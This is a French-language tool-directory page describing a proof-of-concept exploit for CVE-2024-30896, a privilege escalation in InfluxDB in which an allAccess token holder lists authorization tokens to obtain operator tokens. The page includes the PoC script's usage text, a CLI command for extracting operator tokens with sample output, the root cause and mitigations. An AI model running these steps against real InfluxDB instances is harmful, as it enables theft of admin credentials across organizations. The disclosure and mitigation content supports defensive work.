Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-30896 — Exploit de preuve de concept pour CVE-2024-30896, une vulnérabilité d'élévation de privilèges dans InfluxDB permettant aux détenteurs de jetons allAccess d'obtenir un accès de niveau opérateur via la liste des jetons d'autorisation. | Kitploit
Outils/GitHubGitHub/xenom0rph97/cve-2024-30896
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité CloudSécurité des Bases de Données
GitHubxenom0rph97/cve-2024-30896

CVE-2024-30896

Exploit de preuve de concept pour CVE-2024-30896, une vulnérabilité d'élévation de privilèges dans InfluxDB permettant aux détenteurs de jetons allAccess d'obtenir un accès de niveau opérateur via la liste des jetons d'autorisation.

Voir le dépôt
212il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-30896

Résumé

Une faille de logique métier dans influxdb permet aux utilisateurs possédant un jeton allAccess valide d'élever leurs privilèges au niveau opérateur en listant les jetons d'autorisation actuels.

Scénario

L'attaquant peut être un utilisateur à qui un administrateur a accordé l'accès via un jeton allAccess uniquement au sein de son organisation. Les permissions de cet utilisateur lui permettront un contrôle total sur l'organisation mais l'empêcheront toujours d'interagir avec d'autres organisations.

Impact

Cette vulnérabilité permettrait à un utilisateur d'obtenir un accès illimité à l'instance influxdb. Une condition similaire pourrait compromettre totalement la Confidentialité, l'Intégrité et la Disponibilité des données appartenant à des utilisateurs de différentes organisations. De plus, étant donné que le jeton opérateur possède des permissions administratives, la Disponibilité et l'Intégrité de l'ensemble de l'instance influxdb pourraient être compromises.

Prérequis/Limitations

  1. L'attaquant doit posséder un jeton allAccess valide
  2. Le jeton allAccess doit avoir été créé dans la même organisation où réside un jeton opérateur (ex. même organisation que l'utilisateur Admin)
  3. L'attaquant doit pouvoir interagir avec l'instance influxdb via CLI ou API (influxClient)

Étapes pour reproduire

Cas 1 : Exploitation via les API influxdb :

Utilisation du script

root@kitploit:~
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]

optional arguments:
  -h, --help            show this help message and exit
  -t TOKEN, --token TOKEN
                        Custom or allAccess token to access influx DB instance
  -e ENDPOINTURL, --endpointUrl ENDPOINTURL
                        Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
  -v [VERBOSE], --verbose [VERBOSE]
                        Enable verbose logging - INFO
  -vv [VVERBOSE], --vverbose [VVERBOSE]
                        Enable verbose logging - DEBUG

Cas 2 : Exploitation via influx CLI

  1. Exécutez : influx auth ls -t <allAccessToken> | grep write:/orgs. Cela listera tous les jetons opérateur actifs actuels sur l'instance influxdb.

Exemple

root@kitploit:~
# Using an allAccess token 
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}

0cc41c3b050e5000							U1OuqmFC{REDACTED}	
admin		0cb9c92ee228b000	[read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]

# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs

0cbb920e128e5000							gerKYLO0Ph_ibUk0y{REDACTED}
admin		0cb9c92ee228b000	[read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]

Cause racine

Les jetons allAccess ont par défaut des permissions pour lister toutes les autorisations définies dans la même organisation sans restriction basée sur le type (personnalisé, allAccess, opérateur) -> read:orgs/87d0746948a3b3f5/authorizations.

Atténuation temporaire

Lors de l'exécution, influx setup créera la première organisation (par défaut), dans laquelle un jeton opérateur sera automatiquement stocké. Les utilisateurs ne doivent se voir accorder l'accès qu'aux organisations créées secondairement. Il est recommandé de créer plusieurs organisations et de ne transmettre aux utilisateurs que celles qui ne contiennent pas de jeton opérateur.

Recommandations

  • Ne partagez aucune organisation qui contient un jeton opérateur
  • Évitez de stocker des jetons opérateur dans des organisations non par défaut

CVSS Base Score: 9.1

CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Télécharger l’outil